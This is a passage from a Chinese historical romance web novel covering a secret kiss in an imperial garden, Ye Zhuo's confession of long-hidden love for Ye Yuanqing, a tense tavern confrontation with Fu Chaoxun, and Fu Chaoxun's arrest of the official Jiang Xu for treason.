叶宁一开始还有耐心,后来只想找个地方坐着休息,她想让叶卓陪她去找休息的地方,但是又舍不得丢下叶元倾一个人。 御林园的管事说园里守卫森严,一个人随意走动不会有危险,此地连个苍蝇都飞不进来,没有什么可担心的。 叶宁听了此话便给叶卓打个招呼就跑去休息了。 叶宁走后,叶卓一开始还挺开心,因为他终于有了和叶元倾独处的空间,可是他一想到叶宁那个毛毛躁躁的性格,又担心的不行。 叶元倾见他连观赏的心情都没有了,便道:“卓哥哥,宁妹妹还小,又总是迷路,你快去找她吧!我一个人看就行,我难得进来一次,舍不得休息,这里很安全,你不用担心我,回头我们在进来的路口会合。” 叶卓犹豫了好一会,最终还是跑去找叶宁了。 御林园十天半月也难得有人进来观赏,叶宁和叶卓走了以后,这附近的几个馆只有叶元倾一个人。 叶元倾看东西看的入迷,倒也不是特别害怕。 只是进入考古区以后有些怯气了。这里面光线昏暗,有很多小房子还有小道,一个人在里面确实挺吓人的。 但是她又不想错过这个难得的机会,只好壮着胆子往里走。 她四下望去,隐隐约约看到了一个三头六臂的金像,还有一条带翅膀的黑狗。 她紧张地抓紧了袖子,快步向前走去,想快点离开这个区域,可是这里太暗,出口不好找,她摸索了一圈,拐进了一个黑漆漆的小道里。 这时候,突然一个人过来一把将她按在了墙壁上。 她都没反应过来怎么回事,嘴巴就被一双冰凉的唇堵住了,接着就听到了熟悉的呼吸声。 是傅朝寻? 傅朝寻? 他紧贴着她的身子,双手捧住她的脸颊,激动地亲吻她。 她震惊地推了他一下,他抓住她的一双手不让她动。 他亲的很用力,满身尽是离别已久再次重逢后的激情。 叶元倾被他亲的脸颊通红,身上也渐渐燥热起来,她动了动身想躲开,他又贴紧了一些。 他凑到她耳边轻喃道:“别动,这里安全,先亲一会。” 第59章 第 59 章 完了,两个人都收不住了…… 小道里非常昏暗, 也非常安静,出入口各有两名看守的侍卫,如果里面稍微有点动静是非常明显的。 傅朝寻的语音很轻, 叶元倾勉强能听清他说的什么。 她很好奇傅朝寻是怎么进来的,t? 又怎么找到她的。如果他没有门票,私闯御林园乃是杀头的大罪。 他胆子太大了。 她一直没敢出声,他也没再说话,这个时候一旦被发现,两个人都得掉脑袋。 傅朝寻搂她搂得紧,再亲上来好似还带着气,舌尖霸道地撩开她的唇, 含住了她的舌。 他这是又受了什么刺激? 她想问,又不敢问。 她没再抵抗他, 瘫软在他的怀里,无声地接受着他的这个深吻。 她的鼻尖很烫,蹭到他的脸颊不禁让他心头一颤,难以忍耐的渴望开始在身体里蔓延。 她双臂搭在他的肩上, 因为空间封闭又情绪激动,她的额头上已经渗出细密汗珠, 脖颈也烫的不行,他柔软的唇触上她的颈窝,让她身体微微颤动着。 他一双手拖住她, 猛地往上一提,她娇小的身子一整个挂在了他的身上, 她双手轻抚着他宽广的后背,再也无法抑制激动的心情。 明明昨晚还因为他多天的冷漠气的一夜未眠,今日只是稍稍给一点温情她就抵抗不住了。 两个人再相拥在一起, 心里那种激动和渴望比以往还要强烈。 带着爱的亲吻是与以往不同的,感情更深了,想要对方的冲动就更强烈了。 她很想张口叫他一声,最终还是忍住了,那些疑问已经不重要了,他的选择和答案都在这个深吻里。 傅朝寻轻咬了一下她软软的嘴唇,很想把她揉进自己身体里,她已经把他勾的不行,触碰到哪里都是烫的,香的。 他微微侧首,忍耐着缓了口气,在昏暗的光线下与她对视着。 她也微喘着粗气看着他。 两个人即便相视无言,也能感受到对方的千言万语和浓浓爱意。 他的喉结不自觉滚动了几下,又把她往上提了提,一条腿抵着墙壁,让她坐在自己的大腿上,双手捧住她的脸颊,温柔地亲吻她。 她因激动喘气时柔软的胸口一起一伏,蹭他更加情难自已。 他的一只手滑到她白嫩修长的脖颈,用指腹慢慢轻揉着,一连串的吻落上去让她忍不住轻哼了一声。 完了,两个人都收不住了。 她喘着气,索性不管了,非常激动地把手伸进了他的衣衫里,触上他结实的胸膛更是克制不住了,主动去亲他的喉结,亲的他锁骨,亲他的胸口。 他紧紧抱着她,被她亲得已经蠢蠢欲动,他伸手捏住她的下巴,抬起她的脸颊,淌着欲望的眼睛具有侵略性地望着她,轻喃一句:“不然在这里。” 在……这里? 叶元倾浑身就像被抽了骨头一样,软的不行,不太确定他说的是不是那个意思,她点了点头,又摇了摇头。 他看着她涨红的小脸,努力冷静了片刻,忍了又忍还是忍不住,伸手去扯她胸前的衣服。 她蓦地缩了一下身子,从他身上滑落下来,贴在墙壁上缓着气。 他抱住她又想把她拖起来,她克制着推了他一把。 他见她不愿意,又把她按在了墙壁上,抓住她两只手与她十指相扣,又低头亲了上去。 她感觉亲的实在太久,再亲下去估计要出事了,她把脸扭到一旁不让他亲。 他生上的火烧得正旺,她突然反抗更是刺激到了他的占有欲。 他一只手捏住她的下巴,这一次捏的紧,让她动也不能动。 他又把她亲的情动不已,但是智告诉她,真的不能再亲了。 她使劲踩了一下他的脚,他微蹙了一眉头仍旧不松手,她去掐他的胳膊,她两只手都被他扣在了墙壁上。 她抬腿想踹他,他往后退了一步,却不小心撞到了一个摆放藏品的木架子,木架子晃动了一下,发出了一点轻微声响。 “谁?”耳尖的守卫警觉地喊了一声。 二人立马屏住呼吸没敢再动。 不一会,一阵脚步声响起,那守卫好像走了过来。 叶元倾几乎吓出了一身冷汗,紧张地咬住了傅朝寻的嘴唇。 脚步声越来越近,叶元倾咬得越来越狠,傅朝寻疼的眼前一片黑,但是又不能发出声音。 脚步声突然停了,过了一会,渐渐听不清了,守卫好像又走开了。 叶元倾终是松了口气,瘫软在了傅朝寻的怀里。 她松开口以后,傅朝寻只感唇边一片腥甜。 她竟然把他的嘴唇咬破了。 他吃疼地用手摸了摸,血好像流了很多。 叶元倾还在缓着气,她现在动也不敢动,更不敢发出一点声音。 傅朝寻把她扯起来,双手捧住她的脸,与她对视着。 她回望着他,发现他好像有很多话要说,但是又不能说。 她也捧住他的脸颊,深深望着他,望着望着不禁扬唇笑了。 她这个模糊不清的笑容,让他很激动,但是心里又酸酸的,他又让她受苦了。 她是解他的,也是爱他的。 他倾身在她额头上落了一吻,转身欲走,她一把拉住了他,从衣袖里掏出一颗糖果放到他的手里。 这是她最近一直带在身上的食物,每每心情低落了就会吃上一颗,虽然消除不了心里的苦,但是也能抵挡一时的苦。 他把糖果握在手里,眼睛瞬间湿润了,又回身在她唇上落了一吻,然后依依不舍地离开了。 她在原地站了一会,激动的心情久久不能平静。 她慢慢走到出口前,又回头看了一眼,感觉方才的事情仿若做梦一般。 她不知道他是从哪里过来的,她希望他能平安无事地出去。 此时屋外阳光明媚。 叶元倾出了考古区,眼前瞬间亮堂了起来,抬头看了看天,湛蓝湛蓝的,阳光落在身上也暖暖的,就像这一世他们在太师府第一次见面那日一样,连老天都都试着疼爱他们了。 她摸了摸唇,上面好似还有他的余温。 “姐姐!”这时候,叶宁兴高采烈地从远处跑来,脸都要笑开花了。 叶元倾见她如此开心,忙问道:“妹妹遇到了什么开心的事?” 叶宁嘿嘿一笑,往身后看了一眼。 叶元倾顺着她的视线望去,只见叶卓抱着一个偌大的观音玉像正小心翼翼地走来。 叶元倾惊讶地瞪了瞪眼睛,扯了扯叶宁的衣袖,小声道:“妹妹,私自搬御林园的东西可是要砍头的。” 叶宁笑的合不拢嘴,说:“这是卓哥哥给我交换的。” “交换的?”叶元倾更震惊了,“用什么交换的?” 叶宁凑到她耳边,小声道:“用只有禹国才有的血红瓷,听说这个御林园里什么都有,就是没有血红瓷,血红瓷是禹国的特色,基本不外传,卓哥哥为了我,愿意拿出一个血红瓷交换这个观音玉像,这个玉像我很喜欢,我要把它放到我的院子里祈福。” 这样也行? 叶卓不愧是太子,出手也太阔绰了。这可比一张门票金贵多了,付出的诚意也不是一般的大。 叶卓这样宠叶宁,当真只是把她当做妹妹?或者他确定他喜欢的人是她叶元倾,而不是叶宁? 她看着叶宁如此开心,打心底里替他们高兴,若是这两个人走在一起,也挺好的,起码叶宁会一直有人疼。 玉像很沉,叶卓累得双手发抖,他把玉像抬到两个人面前,揉着发酸的手腕,抱怨道:“我说找几个人先送回府,宁儿说怕别人给弄坏了,非要我亲自搬,这里离出口那么远,也不怕累死我。” 叶宁嘿嘿一笑,走上前用袖子帮他擦了擦汗,说:“卓哥哥身材高大,有的是力气,肯定难不倒你。我们先在这里歇一会,一会再走。” 叶卓去看叶元倾,见她脸颊通红,忙问:“妹妹方才去了哪里?脸怎么这么红?” 叶元倾伸手摸了一把,她的脸确实还在发烫,她低下头来,回道:“方才在考古区逛了一圈,里面太闷了,有点不舒服。” “不舒服?”叶卓立马心疼起来,“不然我们先回去,若是妹妹还想再来,回头我再想办法把你带来。” 叶元倾忙道:“不用不用,我一会就好了,我们先歇一会。” “好。” 叶卓再看看叶元倾,总觉得不对劲,她的状态突然有点不一样了。 三个人歇了一会,叶宁总是有意无意地去抓叶卓的手,她太大胆太主动了。 叶卓一直躲避,也在心里不住叹气。 他能为叶宁做的全都做了,怎么样才能既不伤害她又能摆脱掉呢? 再顺着她?还是再加倍地对她好? 或者,干脆再也不她? 怎么舍得呢?她才十t?六岁,单纯的像个孩子一样。 再看向她,见她眼睛明亮的闪着星星,怎么也狠不下心来。 三个人回去的路上,叶卓一直沉默不语,叶宁却为他今天为她做的事情感动的不行,一直抓着他的手不放开。 他们先到的太师府,家里人见他们抱着玉像回来,均是震惊的不行,御林园那种地方,连门都进不去,他们竟然还能带个东西出来。 叶宁开心的与大家说这是叶卓为她交换的。 小姑娘春心萌动,真的以为叶卓心里有她,已经开始憧憬以后在一起的生活了。 因为这件事,家里人对二人有了不一样的想法,大胆的小丫鬟都开始讨论来,说叶卓喜欢叶宁,就连叶宁的娘亲也这么认为,觉得两个人产生了不一样的感情。 叶元倾没在太师府待太久就离开了。 叶卓追出来非要送她,被她拒绝了。 叶卓喜欢叶宁的事很快传开了,祖母傅青总觉得不对,叶卓不是一直喜欢元倾吗?怎么突然喜欢上叶宁了? 自从有了这些言论以后,叶卓就像变了一个人,话突然变少了。 他好像搞砸了,开始懊悔起来,也开始认真思考以后该怎么办。 这日,祖母傅青把他叫到房间里,审视着他的神色,问道:“卓儿这次要在陵国待多久?” 傅青甫一问,叶卓就大概猜出了找他谈话的目的。 他行礼道:“回祖母,父皇知道我思念故乡,许我多待一段时间,路途遥远,来一次不容易,我舍不得这里的人,我现在还不想回去。” 不想回去? “你舍不得谁?”傅青干脆挑明了问他,她不太喜欢拐弯抹角。 “元倾妹妹。”叶卓也回答的干脆。 果然,他喜欢的人还是元倾。 傅青好一会都未说话。 “祖母。”叶卓见她一直不言,轻声说:“是卓儿的大意伤害到了宁妹妹,我以为只要好好弥补就不会伤害到她,是我错了。在我眼里,宁儿就是个妹妹,甚至是个孩子,我对她的好不掺有任何儿女私情。宁儿太单纯,我一时没想好该怎么办,我以为真心对她好,她就不会伤心难过,但是结果并不是如此,现在我不知道该怎么办,也不知如何向她解释。” 他非常后悔没有及时与叶宁说个明白,叶宁现在对他的感情越来越直白,收也收不住了。 叶卓很坦诚,把心里的想法都说了出来,这个时候他也没有什么可隐瞒的,若是再发展下去,他只能硬着头皮对叶宁负责一辈子,但是这样的感情,对她太不公平了。 他喜欢叶元倾,从十几岁就喜欢,和对叶宁的喜欢完全不同,这一点他分的很清楚。 只是人都有犯错和处不当的时候,他这次确实做错了。 傅青叹了口气,道:“你没有办法,祖母也没有办法。但是,祖母要告诉你,元倾她有喜欢的人。” “我知道。”叶卓直言道:“她喜欢傅朝寻,但是没关系,这并不影响我喜欢她,在叶家的时候,我一直都在隐藏我的感情,藏了好几年,也一遍遍告诉自己绝对不可以,但是太苦了,暗恋一个人太苦了,每天看着她,什么也做不了。” “以前我想,大不了默默忍耐一辈子,只要她过得好,我怎么都行。她出嫁也好,生子也罢,我并不在意,因为那时候我根本就没有争取的权利。” “但是现在,老天给了我一次机会,我想试一试,无论成功与否,我都问心无愧。我真的……” 他头一次在外人面前袒露心扉,有些不自在又很无措,说话都哽咽了起来。 “我真的非常喜欢元倾,从很早以前就喜欢。” 那种喜欢已经根深蒂固了,至于他当初为何喜欢,连他自己都不清楚了,他只知道,她的一举一动,一言一行都在吸引着他。 他对其他任何女人都提不起兴趣,甚至连看都不愿意看,这么多年娘亲也给他说过不少亲,什么类型的姑娘都有,甚至与叶元倾相似的都有,但是他却没有一个喜欢的。 他对叶元倾的喜欢已经说不清了,他可以因为她一个生辰愿望努力五年,他也可以为了伦道德一句爱意都不提,甚至坚持到二十六岁都不成婚。 人就是这么奇怪,在感情面前就像一个木偶,任由摆布,有时候还左右不了心智,甚至会发疯。 “对不起祖母。”他弯身给傅青行了一个大礼,垂首道:“请给我一个机会,允许我去争一把,我不会伤害任何人,也会把叶宁护的很好,若是到最后争取不到,叶宁还愿意跟我,我会对她负责一辈子。” “从喜欢上元倾那一天我就下定了决心,此生若是不能与她长相厮守,将永远不会娶妻,我等到了二十六岁,本来已经不抱希望,但是,在得知自己真实身份的那一天,我冒出来的第一个念头,就是我有了资格去争取一下我埋藏了多年的爱情。祖母,我希望您能原谅我的痴心妄想和不孝,若是不能彻底死心,我可能终生也忘不了元倾。” 爱情啊!明明是一件美好的事情,怎么那么伤人呢? 傅青不住叹气,听了他这番话,感动的眼睛都红了。 这也是个痴情的。 先前有个痴情到发疯的温衍,现在又来了一个痴情的叶卓,这可怎么办呀? 傅青强忍着心里的酸涩,扶他起身,看着他泪光闪闪的样子,只能叹气道:“卓儿,也不是祖母不帮你,感情的事真的帮不了。元倾是个倔脾气,只喜欢吊死在一棵树上。你比温衍情绪稳定,也懂事很多,我知道你做事很有分寸,也不会伤害谁,但是祖母还是那句话,感情的事真的帮不了。我叫你来,只是希望你明确一下心意,别伤害了叶宁。” “宁儿那丫头单纯,撑受不住,上次傅峥临的事就把她伤得不轻,她从小跟着你长大,对你有很强的依赖性。可能连她自己都分不清对你是何种喜欢,毕竟你现在突然与她不是亲兄妹了,很难不让她胡思乱想。祖母觉得,你要先与宁儿说清楚,两个人分清关系,然后再考虑追元倾。” 黏黏糊糊,模糊不清的暧昧关系,会伤人很深。 傅青不忍心说,但是又不想让他希望越大失望越大,便又道:“元倾很喜欢傅朝寻,还不是一般的喜欢,他们的感情和旁人不同,不是说散就散的。若是一个人只有五十的感情,哪怕另一个人有一百,胜算的几率都很大。但是,他们两个都是百分之百,完全不留一点可能性,你说,你要怎么争取?温衍以前和元倾关系那么好都伤得体无完肤,谁还能再走进她心里去。” “你是成年人,思想也成熟,现在身份也不同了,定然不能走温衍的老路。逼出来的感情那不是真感情,没有爱情的婚姻就像一盘散沙,风一吹就没了。你呀!一定一定要考虑清楚。现在你也做了太子,已经没有了任意妄为的权利,最不能做那种害人害己的事,当下都冷静冷静,别那么着急。” 傅青说的对,叶卓心里很清楚,也很明白。 他笔挺地站着,依然不想就这么放弃。 他活了二十几年,头一次在人面前落了眼泪,他强忍着心痛,说:“祖母说的这些我都听进了心里,我会看着处,也绝不会伤害宁儿。” 他是要认真考虑一番了。 傅青再看他一眼,没忍住也湿了眼眶。 人啊!活着总有那么多困难。 有人为了金钱迷失自我,有人为了感情伤心伤肺,还有人为了生活四处奔波。 人什么时候才能轻松地活呀! 叶卓走了以后并没有回太师府,而是一个人去了酒馆喝酒。 本来他这次来,信心挺大,但是叶宁的突然转变让他措不及防,他好像做不到既不伤害叶宁又能继续追叶元倾。 叶宁在他心里很重要,是和叶元倾不一样的重要,他比叶宁大了八岁,他比同龄人成熟很多,叶宁又比同龄人单纯很多,他们两个无论是思想还是眼界或者三观,都有很大的差距。 现在两个人相处融洽,那是因为他对她没有任何索取的东西,所以才能心无杂念地疼她宠她。 若是两个人成了婚,各方面差距太大,久而久之就容易有摩擦。况且,他是要娶妻,是要平等相爱的,若只有一方爱的沉重,那样对两个人都不公平,会生t?活的很累很累。 若是如此,他宁愿一辈子都不成婚。 而叶元倾给她的感觉又那么不同,那是会心动的感觉,是无论心上还是生上,都会渴望的感觉。 只是现在,有点难办了。 可他真的不想放弃。 他烦闷地揉着发涨的额头,叫来了小二,要了几坛酒,今天他想麻痹一下自己。 现在他觉得,其实那种静悄悄的暗恋倒也挺好的,起码不会因为野心作祟一直想方设法的争取。 争取的过程太痛苦了,以前他解不了温衍为何发疯,现在终于明白了。 他喝了一碗又一碗,突然一把长剑撂在了他面前。 他微微皱起眉头,挑唇冷笑了一声,并未抬起头,捧起酒坛又倒了一碗酒。 来人见他无动于衷,也没有多大反应,直接拉开凳子坐了下来。 叶卓见他坐下,这才看他,冷声道:“怎么,拿剑威胁我?还是准备把我就地解决?” 他只感觉到冷漠又霸道的气息,就猜出来人是谁。 “嗯。”清冷的嗓音响起,“我是来威胁你的,在事情还没有到一发不可收拾的地步,我希望你尽快离开陵国,她已经经不起任何伤害了。” 她确实已经经不起任何伤害。 叶卓冷笑,端起酒碗一饮而尽,然后“哐当”一声,把碗重重地掷在了桌子上,沉声道:“傅朝寻,你有能力赶走温衍,我佩服你,但是你没有权利阻止我追求元倾,我对元倾的感情不比你们任何一个人浅。追求她是我的自由,你没有资格阻止我,我也在考虑如何在不伤害她的情况下为自己争取一次,最后无论结果如何,我都接受。但是,你若是硬要阻止我,不好意思,我不答应。” “我现在是太子,我若去求一道圣旨,你又能奈我何?” 第60章 第 60 章 “元倾!我爱你。”…… 爱慕一个人是自由的, 追求一个人也是自由的,谁都没有资格阻拦。 叶卓说的不错,即便是傅朝寻也没有资格阻拦。 叶卓冷笑:“在爱情中, 没有谁比谁多高贵。” 他又抓起一个碗, 捧起酒坛倒了一杯酒,继续冷笑道:“依我现在的能力,我确实可以去求一道圣旨,来一场两国联姻,然后轻轻松松把元倾娶走。她愿意也好,不愿意也罢,只要是成了婚, 只要是在一起,我们就有日久生情的机会, 我努力付出,我努力对她好,她总有感动的一天,到最后无论是感情也好, 感动也罢,只要有情就足够了。” 他抬起头, 看向一直冷漠不言的傅朝寻,把酒碗推到他面前,一字一句道:“我们公平竞争, 我保证绝对不会伤她一分一毫,我也不会去求圣旨, 我只凭我这个人,我这份感情。若是元倾真能被我打动,哪怕她有一丝的犹豫, 这就证明你和她不是绝对的,我就是要明目张胆地从你身边把她抢走,我就是要试一次。” 他好像喝醉了,脸颊通红,说起话来气愤不已,和以往稳重的性格完全不同,那种求而不得的痛苦几乎让他发疯了。 傅朝寻笔挺地坐着,听着他每一句话,每一个字,等他终是不再说了,端起他推来的酒碗,把酒一饮而尽。 他又抓起酒坛倒了一杯,推到叶卓面前,周身散发的冷然气息如寒冬腊月结冰的天气一般,他携着满身凉意,沉声道:“我确实没有权利阻,但是你的强行靠近就是在无形地伤害她。曾经,你有太多的时间去追求她,也有太多的机会和可能,但是你没有去做,为何没有你心里应该很清楚,你一直在顾虑自己的身份,你怕给不了她好的生活,你怕她拒绝你,所以你宁愿把感情埋藏在心底那么多年也不向她透露一丝一毫。现在,你有了高高在上的身份,你就以为自己有了权利,你就真的以为自己能赢得她的心给她更好的生活。” “可是,她已经心有所属了,你错过了就是错过了,你现在是在拿什么争取?身份?金钱?还是地位?你现在是太子,也可能是将来的皇帝,日后你要夜以继日地操劳整个国家,还要妻妾成群延续后代。你把她带走给她什么?是陪伴还是太子妃的位置?或者让她以后做皇后?” 他不禁皱起眉头,已经无法想象若是元倾生活在尔虞我诈的皇宫里该有多辛苦。 “你觉得她会喜欢吗?”他继续道,“依你对元倾的了解,她会愿意一辈子生活在暗无天日的皇宫里?然后和其他妃子因为争宠斗得死去活来?叶卓,你的出身早已注定了你和元倾的结局。以前是你没有勇气追求她,现在你有勇气了,但是已经错过了。” 他了解元倾,他知道元倾一直想要什么样的生活,曾经他们成婚七年,七年里她没过上一天轻松的日子。如今,若是再因为叶卓的强求被带到禹国过那种深宫里,那她的人生该有多凄凉。 “那你呢?”叶卓冷笑着反问他,“你能给她什么?安稳的生活?地位?金钱?尊重?你自己在过什么生活你不清楚?” 叶卓说了和温衍一样的话。 他继续道:“傅朝寻,起码我有权利,我有能力,即便我做了皇帝,我是不是可以用我的权利去保护她疼爱她,我可以给她一切,我也可以给她自由,你能给她什么?连亲王府都走不出去的人,能给得了她想要的生活和幸福?我不相信。只凭那一腔热血的感情吗?” 叶卓最后说了一句最现实且最戳人心的话。 只凭那一腔热血的感情,自然是不够的。 所以,他一直一直在努力。 叶卓见他沉默下来,自知是说到了他的痛处,他不禁冷笑,端起面前的酒碗一饮而尽。 他们谁都没有错,包括温衍,在感情里大家都付出了百倍努力,怪只怪他们喜欢上了同一个人。 两个人都未再说话了。 小二见酒坛的酒喝完了,问他们:“两位公子,可还要添酒?” “添。”叶卓掏出一大把银票拍在桌子上,“把店里的酒全部都给我拿来。” 小二开心地把银票收了起来,然后给他搬来好几坛子酒,还准备再搬,被傅朝寻摆手制止了。 傅朝寻站起身,抓起剑,沉声道:“我会想办法清除叶家的所有障碍,也会为元倾争取到安稳幸福的生活。我和她是相爱的,你和温衍都不懂我们的感情。你要明白,若是不能两情相悦,即便在一起了,也会很累很累,等你成了婚你就明白了。” 当初他和元倾,也是因为没有两情相悦才痛苦了七年,若不是老天又给了他们一次机会,或许他们最后的人生尽头,只能定格在那支离破碎的婚姻里。 他最后警告叶卓:“我给你几天的时间,处好尽快离开,对我来说,杀了你并不难。” 杀了他?他怕吗?他不怕。 他叶卓活到今天,从不畏生死。 他又喝了一碗酒,在傅朝寻转身离开时,冷声道:“你当初不也是从温衍手里抢来的,你能做到的事情,我为何不可?” 他不相信世界上真有一成不变的爱情。 但是他又很矛盾,因为他的爱情好像可以一辈子不变。 那她的爱情会变吗? 叶卓喝的烂醉如泥,晃晃悠悠去了将军府。 大家都说酒后怂人胆,他要大胆一回。 叶元倾披了一件氅衣出来,看到满脸通红一身酒气的他瘫坐在地上,有些惊讶地问:“卓哥哥,你怎么喝了这么多酒?你等一会,我让大哥扶你进去。” “元倾!别去。”叶卓叫住她,扶着一旁的墙壁慢慢站起身,他抬起头看着她,双眼通红通红。 他默了片刻,终是鼓起勇气道:“元倾!我有话对你说。” 叶元倾望着他激动忧伤的神色,已经猜出他想说什么,她忙道:“卓哥哥,你喝醉了,天晚了,你且回去,有话以后再说。” 她说完欲走。 “元倾!我爱你。” 隐藏了好几年的话终是说出了口。 叶元倾僵住脚步。 顿时,四周寂静无声。 “元倾!给我一次机会。”他几乎哽咽着道,“我不会强迫你,我只希望你给我一次机会。” 果然,喝了酒说什么都是轻松的,不用考虑那么多,不用考虑身份,不用考虑叶宁。 叶元倾没有给他回答,而t?是道:“我去把大哥叫来。” “元倾!”叶卓走上前抓住她的胳膊,不想让她走,“你别怕,我不会像温衍那样,我不会强迫你,不会伤害你,我只是想表达我对你多年的爱意。从我送你那张票时你应该就明白我的意思了,以前是我没有资格追你,现在好不容易有了,给我一次机会好吗?” 他以前好像不是这样的,成熟稳重,说话严谨,做事也从不会出错。 可是现在,他好像一个渴求东西的孩子,很紧张,很慌张。 他知道她会拒绝,他不怕拒绝,本来他就只是拿着万分之一的可能告白。 “元倾!若是你不想过深宫生活,我可以不做太子,我可以带着你远走高飞,我们去过普通人的生活。傅朝寻能给你的,我都能给,傅朝寻不能给你的,我也能给。” 他本就不是一个有野心的人,哪怕知道自己是皇子,第一个蹦出来的念头不是拥有了至高无上的权力,而是有了可以追求元倾的机会。 叶元倾僵挺着身子一直未动,也未开口。 其实,无论从哪一方面来讲,叶卓确实是一个值得托付终身的人,如果和他相爱应该会很幸福,因为无论是生活上还是精神上他都能给你很大的满足,他会疼人,很解风情,长相好学问又深,他确实可以给的她了一切。 如果不谈感情,如果在她刚重生回来决定重头再来的时候,他若是追求,她也许会考虑吧! 但是现在,已经晚了。 她满心里只有傅朝寻。 “元倾!”他又轻声叫她,见她无动于衷,还想再说些什么,他要把憋在心里所有的话都说出来。 “卓弟。”叶元恒不知从哪冒了出来,走到他跟前,扶住他的身子,笑说:“进屋坐,我给你泡醒酒茶。” 叶卓现在清醒又不清醒,他话还没说完,又叫了一声:“元倾!我……” 叶元恒一把捂住他的嘴,扯着他把他扯回了家,然后把他带到客房里,扶到床上,准备让他先睡一会,醒醒酒。 叶元恒把叶元倾拉到书房,审视着她的神色,问:“你不会早就知道他喜欢你吧?” 叶元倾垂首站着,“嗯”了一声。 “你不心动?”叶元恒好奇地问,“他现在可是太子,以后是会做皇帝的,这可是人中蛟龙,这样的男人百年难遇,你,不考虑考虑?” 叶元倾和叶卓若是成婚,无论是对两国关系还是对叶家的未来,都会带来翻天覆地的变化。 当初禹国公主与傅呈延联姻都轰动不小,何况是太子。 “不考虑。”叶元倾回答的干脆,“我喜欢傅朝寻。” 再给她一次机会,她还是会选择傅朝寻。 叶元恒啧啧嘴道:“妹妹真牛,我真不明白傅朝寻有多大魅力能让你这样惦记,他都不你了你还一片痴心,你不怕他转头娶了别人,最后落个两手空空?” “不怕。”叶元倾道,“傅朝寻他有难处,我们熬过去这段时间就好了。” 叶元恒忍不住骂她:“你真是被感情蒙蔽了双眼宁愿当瞎子,这么优秀的人摆在你面前你竟然无动于衷,以前那个病秧子也就算了,这个可比病秧子强一百倍一万倍。无论样貌还是才华能力,哪一点不比傅朝寻强,你怎么就死心眼吊在一棵树上?” 叶元恒真怀疑傅朝寻给叶元倾灌了迷魂药。 叶元倾态度依然坚决:“对,死也要吊死一棵树上。” 叶元恒重重叹了口气:“你呀你,真是有福都不知道怎么享。以前,不说别的,起码温衍爱你爱的深,满心里都是你,无论是家世还是各方面,都和你相配,如果你俩成婚,日子也不会太差,孰料突然出现一个傅朝寻让你俩闹掰了。现在,又有一个更好的,你还是不看一眼,你到底想怎么样?” “我想怎么样?”叶元倾也觉得委屈,“全天下的男人都喜欢我,我也要考虑吗?我已经有喜欢的人了,我为何还要考虑其他人?我不喜欢,我给了机会难道不是在伤害别人吗?你希望我过那种憋屈生活?” 她才不要,她眼睛里已经容不下任何人。 “那傅朝寻都不你了,你还上杆子找他?” “谁说他不我了,我们刚亲吻过。” 亲……吻?亲吻? 叶元倾说完麻溜地跑出了房间 叶元恒震惊地在身后大喊:“你给我站住,你给我说清楚那兔崽子都对你干了什么。” 叶元倾已经跑的没影了。 —— 大道上,一大批身穿铠甲手持长剑的官兵威风凛凛地浩浩荡荡而而过,为首的是骑着高大骏马一袭黑色锦衣的傅朝寻。 街上众人见状纷纷退到一旁避让,均是猜测这又出了何事,竟然惊动了一大批官兵。 队伍到了一家酒楼前,官兵立即上前把整个酒楼团团围住。 傅朝寻翻身下马,扫视了一眼酒楼上的门牌,这是傅峥临的酒楼,先前叶宁和傅峥临幽会就是在这里。 他走上前将禁闭的房门一脚踹开。 屋里只有一名店员,看到他以后,战战兢兢地说了一句:“大……大人,今天闭店。” 傅朝寻瞥他一眼,冷声道:“此楼藏有逆贼,阻拦者格杀勿论。” 店员噗通一声跪在地上,话也不敢再说一句。 傅朝寻往楼上看了一眼,带着一批官兵冲了上去。 由于他们来的突然,楼上把酒言欢的几个公子美人吓得一阵慌乱。 傅朝寻拔出长剑,指向准备逃跑的姜叙,冷声道:“姜大人,你贪污受贿,与别国勾结陷害朝中官员,扰乱军心,蓄意谋反,该当何罪?” 姜叙乃是习武之人,样貌粗狂,瞪起眼睛十分凌厉,他冷笑一声,一拍桌案道:“傅朝寻,你故意接近我,就是为了这个?你有什么证据定我这么多罪?是你和前朝公主密谋造反,怎么还反咬我一口?” 傅朝寻不愿与他多言,让身后侍卫奉上一大叠证据,然后又带来三名人证指认他,然后道:“姜大人,数罪并罚可是死罪,甚至株连九族,你若是如实招供,供出同党,也许皇上会从轻处罚。” “你。”姜叙气的又一拍桌案,抽剑就向傅朝寻砍去。 傅朝寻闪身一躲,一脚踹在了他的身上,手中长剑一挥,在他臂膀上划了一剑。 姜叙自知傅朝寻武功高强,纵身一跃准备从窗前逃走,傅朝寻长袖子一甩,只听砰的一声,一把飞镖擦过他的脸颊插在了窗扉上。 姜叙吃疼地“啊”了一声,瞬间脸上鲜血直流。 傅朝寻又一个跨步上前,揪住他的衣衫把他狠狠地摔在了地上。 姜叙狼狈瘫坐在地,还未站起身,几把长剑就架在了他的脖子上。 官兵把他揪起身,他愤怒地大骂道:“傅朝寻,你这条不知天高地厚的走狗,别以为做了侯爷就会高高在上,就可以无法无天,你就是你父亲培养的一条狗,给傅呈延垫背的狗。” 狗。 傅朝寻这一生被骂的最多的脏话。 姜叙继续怒喝道:“傅朝寻,你不及你大哥的万分一,你连你二哥都不如,别以为有了这些证据就可以搬倒姜家,你父亲还指望我们姜家帮衬,你若是敢动我,你父亲会绕过你?识趣点,现在就把我放了。” 傅朝寻冷眼看着他,瞳仁越来越黑。 姜叙继续拿话刺激他:“人们都说你是扫把星,看来确实不假,克死自己的母亲不说,还扰乱朝堂,陷害忠臣,你这种人就不该活在这世上。” 克死母亲? 这句话终是刺激到了傅朝寻,这话他儿时听过不少,长大了却很少听到了,今日再听到还是那么的刺耳,就像刀子戳着心脏一样。 他一把掐住姜叙的脖子,手上开始不断地用力,姜叙的脸颊顿时涨得通红,话也说不出来。 傅朝寻手背上的青筋暴起,再用点力就能将他掐死。 他一手掐着他,一手在他身上摸索,然后在他的衣衫里摸到一封信。 姜叙见他把信掏出了出来,慌张地挣扎几下。 傅朝寻看了看信,没有立即打开,然后瞥他一眼松开了手,冷声丢出一句:“带走,关进大寺。” 士兵拖着姜叙往楼下走,姜叙口中还骂着:“傅朝寻,你这个王八蛋,你抓我一定会后悔的,你铲除姜家,惹恼了他们,你也得死。” 他们。 傅朝寻t?冷笑一声,把信收起,下了楼。 傅朝寻私自捉拿姜叙的事情很快传到了皇宫里,太傅大人带着一众官员赶到皇宫,跪在上朝的大殿前一直喊冤。 皇上召集所有官员上朝讨论此事。 傅朝寻附上姜叙所有犯罪证据和证人,正言厉色地指控了姜叙一番,太保大人也把姜家历年来所犯的罪行一一上报给皇上听,并且恳求皇上撤掉太傅大人一职,严重处罚。 